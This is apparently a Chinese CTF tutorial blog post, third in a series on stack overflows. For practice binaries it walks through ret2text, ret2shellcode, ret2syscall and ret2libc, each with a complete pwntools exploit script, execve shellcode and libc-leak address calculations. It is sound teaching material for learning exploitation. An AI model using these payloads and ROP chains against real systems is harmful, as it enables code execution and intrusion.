PWN January 03, 2020

栈溢出从入门到放弃3

Words count 61k Reading time 56 mins. Read count 0

一、初级栈溢出系列

从现在开始温习栈溢出,从初级栈溢出到高级栈溢出到花式栈溢出都重温一遍,主要结合题目练习加深巩固。

一般来说,实现栈溢出,都是因为读入的字节数超过了buf允许的大小,导致ret地址被覆盖,我们的最终目标都是实现调用system(“/bin/sh”)函数去getshell,过程花样可以千奇百怪,但是总有规律可以寻找~

1、第一步找危险函数。

输入函数:

gets(&buf) 直接读取一行,忽略’\x00’ ,一看没有字符数的限制,那肯定是200%的溢出~

read(0,&buf,0x40) buf的大小为0x20,说明可以溢出0x20个字节,够ret覆盖了~

scanf(%s,&buf) 这里也一样,没有控制输入的字符数,造成溢出。

vscanf(%s,&buf) 和scanf函数差不多,原理类似

copy函数:

sprintf(buf1, buf2) 将buf2中的字符串拷贝到buf1中,这里一旦buf2大小比buf1大,就可以栈溢出了

strcpy(buf1,buf2) 字符串复制,遇到’\x00’停止 ,原理同上

strcat(buf1,buf2) 字符串拼接,遇到’\x00’停止 ,将buf2中的字符串拼到buf1中的字符串,存在buf1中,栈溢出举例:4+3=7>4(数字表示buf大小)

bcopy( s,d,6 ):从d中复制6字节到s中,这里d和s都是指针,内存复制,bcopy不检查字符串中的空字节NULL,函数没有返回值。

memcpy(dest, src, strlen(src)):原理和bcopy差不多,内存拷贝

讲到%的格式化,顺便脑补下C知识:

格式字符 说明

%a 读入一个浮点值(仅C99有效)

%A 同上

%c 读入一个字符

%d 读入十进制整数

%i 读入十进制,八进制,十六进制整数

%o 读入八进制整数

%x 读入十六进制整数

%X 同上

%c 读入一个字符

%s 读入一个字符串

%f 读入一个浮点数

%F 同上

%e 同上

%E 同上

%g 同上

%G 同上

%p 读入一个指针,一旦是地址

%u 读入一个无符号十进制整数

%n 至此已读入值的等价字符数

%[] 扫描字符集合

%% 读%符号

知道了漏洞函数,接着就是利用栈溢出漏洞去实现getshell了。

2、第二步制定方法

以下就是基础rop技术一览:

1、ret2text

链接:https://pan.baidu.com/s/1Vz5j2Z4rBHOj2AJbfv-wpA
提取码:2gok

原理:题目中有现成的backdoor函数,直接ret到这个位置

做题的一般顺序:先checksec检查下保护机制:

1561904205365

只开了一个堆栈不可执行的保护,去ida分析一波逻辑:

1561904557996

一看是gets函数,栈溢出,然后栈大小是0x64(一般没有错,但是有时会骗人的,还是用cyclic方法去看,2步)

1、cyclic n(生成一串有规律的垃圾字符n个,用于确定报错的地址偏移,4个为一个单位)

1561904583168

2、cyclic -l 报错地址(会返回ret地址的偏移)

1561904713539

确认出票偏移为112(覆盖了ebp的)

再看下后门函数,这里直接看到有,如果函数名被混淆了,一般可以通过shift+F12找system和参数/bin/sh:

1561904729434

1561905264665

这里看到有,然后一步步看调用位置(ctrl+x),找到代码块的位置即可,就是前面找到的secure那里。继续分析,

根本不用管前面的随机数输入匹配,直接绕过,调到system函数执行即可,这就是ROPgadget的巧妙利用,指哪里就去哪里执行代码:

1561904755007

直接上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./ret2text')
if local:
p = process('./ret2text')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)

back_door = 0x804863A

payload = ''
payload += 'a'*112
payload += p32(back_door)

sl(payload)

p.interactive()

1561904872010

getshell后是可以ls提取出当前目录的内容的~

总结:先找函数,看看有没有后门函数可以直接调用(可以shift+F12查看字符串查找system和参数/bin/sh),如果有,直接用,没有则换其他思路做,有时是有system函数,但是参数不对,这时就是自己写入参数,然后搞到参数的地址带入进去,见下面的题:

ret2text2:

链接:https://pan.baidu.com/s/1ek9WwrpuuOlLL-zDd3RQXA
提取码:0515

cheksec:

1561968624676

ida分析一波:

1561965357300

1561967293400

简单的栈溢出,栈大小为0x10(不包含ebp)找后门:

1561967318828

参数不对,这时到data数据域去找有用的命令:/bin/sh\x00、/sh\x00、$0一般常用的是这三个command.

1561967405396

找到$0,于是ida右键转成data:

1561967440890

这里把地址搞到:0x601070

那么接着就是用到pop_rdi_ret去填充参数了:这里ROPgadget –binary 文件名 –only “pop|ret(或者其他想要的gadget)”是专用的命令:

1561967613928

接下来直接上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./ret2text2_64')
if local:
p = process('./ret2text2_64')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget(libc.6.so) 0x45216 0x4526a 0xf02a4 0xf1147
#shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,'b *'+hex(addr))

system = elf.symbols["system"]
command = 0x601070
pop_rdi_ret = 0x400683
payload = ''
payload += 'a'*0x10
payload += 'aaaaaaaa'
payload += p64(pop_rdi_ret) //64位第一个参数放rdi寄存器中
payload += p64(command)
payload += p64(system)
sl(payload)

p.interactive()

总结,没有合适参数时要去data域找找有用的东西,如果还是没有,可以构造命令,写入到bss段中,二次调用去getshell:

题目:ret2text3_64

链接:https://pan.baidu.com/s/1afZKZkqAwejy0YtvGo8rww
提取码:z59w

1562004160608

1562004229890

其他的,没变。这下在程序中找不到/bin/sh了也没有$0了,这可如何是好,没有就自己构造呗~

说干就干,直接在bss段中写入我们的command(“/bin/sh”),然后获取bss段的地址即可~

具体操作是借助rop链搭建起来:

1562004369348

找到64位的第一个参数存放位置,rdi寄存器。

接着思路清晰,上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./ret2text3_64')
if local:
p = process('./ret2text3_64')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget(libc.6.so) 0x45216 0x4526a 0xf02a4 0xf1147
#shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,'b *'+hex(addr))

bss_start = elf.bss()
pop_rdi_ret = 0x400683
gets = elf.symbols["gets"]
system = elf.symbols["system"]

payload = ''
payload += 'a'*0x10
payload += 'aaaaaaaa'
payload += p64(pop_rdi_ret)
payload += p64(bss_start)
payload += p64(gets)
payload += p64(pop_rdi_ret)
payload += p64(bss_start)
payload += p64(system)
sl(payload)
sl("/bin/sh\x00") //作为我们的命令写在bss中

p.interactive()

32位的程序也演示一波吧:

ret2text3_32

链接:https://pan.baidu.com/s/1J4sHK-Pfy46utGIrocTihA
提取码:kq4c

1562004703941

1562004745572

后门函数:

1562004760532

然后找不到合适的参数,只能自己构造:

1562005005305

这里能用到的rop链子选pop ebx;ret,主要作用是维持栈平衡,exp差不多:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./ret2text3_32')
if local:
p = process('./ret2text3_32')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget(libc.6.so) 0x45216 0x4526a 0xf02a4 0xf1147
#shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,'b *'+hex(addr))

bss_start = elf.bss()
pop_ebx_ret = 0x0804843d
gets = elf.symbols["gets"]
system = elf.symbols["system"]
#方法一
payload = ''
payload += 'a'*112
payload += p32(gets)
payload += p32(pop_ebx_ret) #维持栈平衡,确保下一条要执行的指令是system
payload += p32(bss_start)
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(bss_start)

#方法二,根据参数入栈规律自己思考可行性
#payload = ''
#payload += 'a'*112
#payload += p32(gets)
#payload += p32(system)
#payload += p32(bss_start)
#payload += p32(bss_start)
sl(payload)
sl("/bin/sh\x00")

p.interactive()

32位的参数的位置有所不同,注意看清楚~

2、ret2shellcode

链接:https://pan.baidu.com/s/1nHCoNxT6D9u1kC1qkUmPMA
提取码:xlx0

shellcode是什么?它是一串能够让我们getshell的代码,相当于一个包装好的system(“/bin/sh”)代码,直接执行这段代码,就相当于执行system函数一样,很快,很方便,那么首先我们得有shellcode,然后栈溢出跳到shellcode的位置去执行shellcode即可:

1561970629638

这里可以知道,有个可读可写可执行的区域,猜测是bss段:

1561970759203

1561970778696

所以我们的bss段是有可执行的权限的,那么往bss段写入shellcode是可以执行的~

1561970582261

而且copy函数时把我们的输入copy0x64个字节到buf2(bss段),所以策略很明显,直接输入shellcode,然后ret地址填bss段地址。

这里直接cyclic爆破出栈大小112(包含ebp)

问题来了,shellcode怎么来?

这里有个专门生成shellcode的公式:

1
shellcode = asm(shellcraft.sh())

所以可以直接上exp了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./ret2shellcode')
if local:
p = process('./ret2shellcode')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget(libc.6.so) 0x45216 0x4526a 0xf02a4 0xf1147
#shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,'b *'+hex(addr))
bss = 0x804A080
shellcode = asm(shellcraft.sh())
payload = ''
payload += shellcode.ljust(112,'a')
payload += p32(bss)
ru("No system for you this time !!!")
sl(payload)
p.interactive()

这种题基本上是灭绝了,因为堆栈基本是不可执行的,bss段也是,而且也是无脑shellcode直接getshell,所以只一题了解下,后期栈迁移会讲到迁移到本栈的shellcode执行的题目(需要泄露出栈地址才能操作~后面再讲)

总结:会用shellcode生成公式,跳转到shellcode位置执行代码即可。

这里提个醒,有时候自动生成的shellcode太长,需要自己去学着写shellcode,然后汇编转成代码,或者积累别人写的shellcode~以备不时之需。

3、ret2syscall

这里要开始讲系统调用了:

还是拿一道题看看

链接:https://pan.baidu.com/s/1AtqcWfIYebb-6TaH27weqQ
提取码:yuqt

1561976749311

这里可知道是32位的然后只开了堆栈不可执行的保护,其他没开,第二步ida分析:

1561976807132

逻辑很清晰,就只有一个栈溢出漏洞,然后有2个puts函数,一个gets函数,这里提示没有后门函数,没有shellcode可以写,该怎么办呢?这里只介绍syscall,其实可以2次调用先泄露出真实地址再栈溢出(就是ret2libc的内容了,这是埋下伏笔hhhhh)

那么什么是syscall呢?ret2syscall,即控制程序执行系统调用,获取 shell。 系统调用是专门的函数:

execve(“/bin/sh”,null,null),其中,“/bin/sh”是execve()系统调用函数要执行的命令,还有像“ls”等这些命令,这个系统调用可以理解成system(“/bin/sh”),该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

    32位的汇编getshell代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>>> context.arch = 'i386'
>>> print(shellcraft.execve('/bin/sh'))
/* execve(path='/bin/sh', argv=0, envp=0) */
/* push '/bin/sh\x00' */
push 0x1010101
xor dword ptr [esp], 0x169722e
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80

eax = 0xb ebx = addr(“/bin/sh”) ecx = 0 edx = 0

那么64位的是怎么样的呢:

64位的汇编getshell代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>>> context.arch = 'amd64'
>>> print(shellcraft.execve('/bin/sh'))
/* execve(path='/bin/sh', argv=0, envp=0) */
/* push '/bin/sh\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x68732f6e69622f
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

rax = 0x3b rdi = addr(“/bin/sh”) rdx = 0 rsi = 0

以后会用到onegadget其实就是封装好的可以直接调用的系统调用,onegadget是要满足一些栈的条件的,后续再讲~

系统调用认准这两个就问题不大了~

所以我们需要找4个rop链子,pop_eax_ret,pop_ebx_ret,pop_ecx_ret,pop_edx_ret,然后挨个塞入参数构造payload,这里直接用ROPgadget那个万能公式:

1561978108960

成功找到想要的链子(但是有时没有那么好运,正好有想要的,只能间接性地去拿,嗯,间接,你应该想到了)

那就可以构造payload了:

找到int_0x80的系统调用(execve函数)

1561978404377

接着还需要找到/bin/sh的地址才行,string找一波:

1561997629369

那么直接上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./ret2syscall')
if local:
p = process('./ret2syscall')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget(libc.6.so) 0x45216 0x4526a 0xf02a4 0xf1147
#shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,'b *'+hex(addr))

pop_eax_ret = 0x080bb196
pop_ecx_ebx_ret = 0x0806eb91
pop_edx_ret = 0x0806eb6a
int_0x80 = 0x08049421
binsh = 0x80BE408

payload = ''
payload += 'a'*112
payload += p32(pop_eax_ret)
payload += p32(0xb)
payload += p32(pop_ecx_ebx_ret)
payload += p32(0x0)
payload += p32(binsh)
payload += p32(pop_edx_ret)
payload += p32(0x0)
payload += p32(int_0x80)
sl(payload)

p.interactive()

这里如果没有/bin /sh的话可以自己构造写入到bss段的起始位置,具体就是二重调用了,然后获得bss起始地址作为binsh的地址,接着操作步骤就是一样的。

总结:32位的程序,先找下ROP链看看有没有int_0x80的execve的系统内核中断调用,64位的看看有没有syscall的系统调用,如果都没有,可以放弃该方法,有则直接用。

4、ret2libc

这里直接讲我们的libc库,涉及到动态链接和延迟绑定的问题,还可以涉及到高级栈溢出的操作,但是这里只讲最简单的操作,这里需要先了解下动态链接和延迟绑定是什么东西以及工作机制,讲动态链接,讲到静态链接,静态链接就是函数真实地址在编译时已经实现了got表绑定,一切都准备好了,而动态链接,动态体现在函数真实地址存放于libc库中,只有在运行时才会和库链接起来,进行地址绑定,而且只有执行过一次函数,该函数的真实地址才会被写入到程序文件中,这里面的工作机制如下图:

当函数第一次被调用时,got表里面是没有它的真实地址的,存的是push n的地址,然后经过plt函数的一系列操作,会执行dl_runtime_resolve函数,实现真实地址写入got表。所以只有该函数执行过了一次,它的got表里面才有真实地址,got才有现实意义。如果想详细了解过程,可以参考《程序员的自我修养》一书,动态链接那里。

然后记住一条判断程序时静态链接还是动态链接的公式:ldd 文件名

ret2libc就是针对真实地址进行的操作:

因为libc库中存有各种函数的偏移地址,举例:0x3fea1(system函数的libc偏移)

而有个基地址:0x7fxxxxx0000(64位)、0xf7xxx0000(32位)

这里我们只要知道基地址,就可以去libc库中找偏移地址,因为:

真实地址 = 基地址 + 偏移地址

如果我们泄露了函数的真实地址,就可以根据:

基地址 = 真实地址 - 偏移地址

得到基地址,有了基地址,加上任意函数的libc偏移,就可以知道任意函数的真实地址(我们当然最爱system函数啦)

有了真实地址,ret地址一填,那么即可getshell~

纸上谈兵不如实操一波:

ret2libc

链接:https://pan.baidu.com/s/18TeImNT4acHLcfHkwtlafQ
提取码:nnwy

1562139263439

只有堆栈不可执行的保护,64位的程序,ida分析一波:

1562139232737

只有一个栈溢出gets函数,没有shellcode,没有系统调用,也没有后门函数,无计可施??

现在就是解锁新姿势的时候:泄露出一个真实地址,间接计算出system函数和binsh的地址,实现getshell

看到有puts函数,可以利用,而且执行后有真实地址,就是你了,思路:

1、先利用栈溢出调用puts函数打印出自己的got表真实地址,接收,再跳回pwnme执行一次

2、计算system和binsh的地址

3、第二次输入直接ret到system函数去getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./ret2libc')
if local:
p = process('./ret2libc')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget(libc.6.so) 0x45216 0x4526a 0xf02a4 0xf1147
#shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,'b *'+hex(addr))

pwnme_addr = 0x4005DA
pop_rdi_ret = 0x400673
puts_plt = elf.symbols["puts"]
puts_got = elf.got["puts"]
gets = elf.symbols["gets"]
puts_libc = libc.symbols["puts"]
system_libc = libc.symbols["system"]
binsh_libc = libc.search("/bin/sh").next()

payload = ''
payload += 'a'*0x20
payload += 'aaaaaaaa'
payload += p64(pop_rdi_ret)//调用puts函数打印got真实地址
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(pwnme_addr) //再调用一次
ru("I am sure that you are not cxk")
#bk(0x4005FD)
sl(payload)
rc(1) //先接收\x0a,题目自身原因,一般不用~
puts_addr = u64(rc(6).ljust(8,'\x00')) //一波计算
print "puts_addr--->" + hex(puts_addr)
offset = puts_addr - puts_libc
binsh_addr = offset + binsh_libc
system_addr = offset + system_libc

payload = '' //第二次输入直接ret到system函数
payload += 'a'*0x20
payload += 'aaaaaaaa'
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
ru("I am sure that you are not cxk")
sl(payload)
p.interactive()

为了加深印象,再来一题:pwn9

链接:https://pan.baidu.com/s/1KTsilzXZyhjc9B4gpfOnJQ
提取码:p8k6

1562141362701

没有保护,然后是32位的,决定利用泄露真实地址的方法:

1562141285462

只有一个fgets函数,栈溢出,然后思路是一模一样的,注意32的参数位置即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./pwn9')
if local:
p = process('./pwn9')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget(libc.6.so) 0x45216 0x4526a 0xf02a4 0xf1147
#shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,'b *'+hex(addr))

puts_got = elf.got["puts"]
puts_plt = elf.symbols["puts"]
pwn = 0x80484BB
payload = ''
payload += 'a'*0x20
payload += 'aaaa'
payload += p32(puts_plt)
payload += p32(pwn)
payload += p32(puts_got)
ru(">")
sl(payload)
ru("OK bye~")
puts_addr = u32(rc(5)[1:])
print "puts_addr--->" + hex(puts_addr)
libc_addr = puts_addr - libc.symbols["puts"]
system = libc_addr + libc.symbols["system"]
binsh = libc_addr + libc.search("/bin/sh").next()
print "system--->" + hex(system)

payload = ''
payload += 'a'*0x20
payload += 'aaaa'
payload += p32(system)
payload += p32(0xdeadbeef)
payload += p32(binsh)
sl(payload)

p.interactive()

以上就是针对于libc库泄露真实地址去getshell的题目总结~然而栈溢出的漏洞是有防护的例如(canary),而且保护机制基本是全开的,那么有保护机制又该怎么办呢?预知后事如何——请看栈溢出入门到放弃4

0%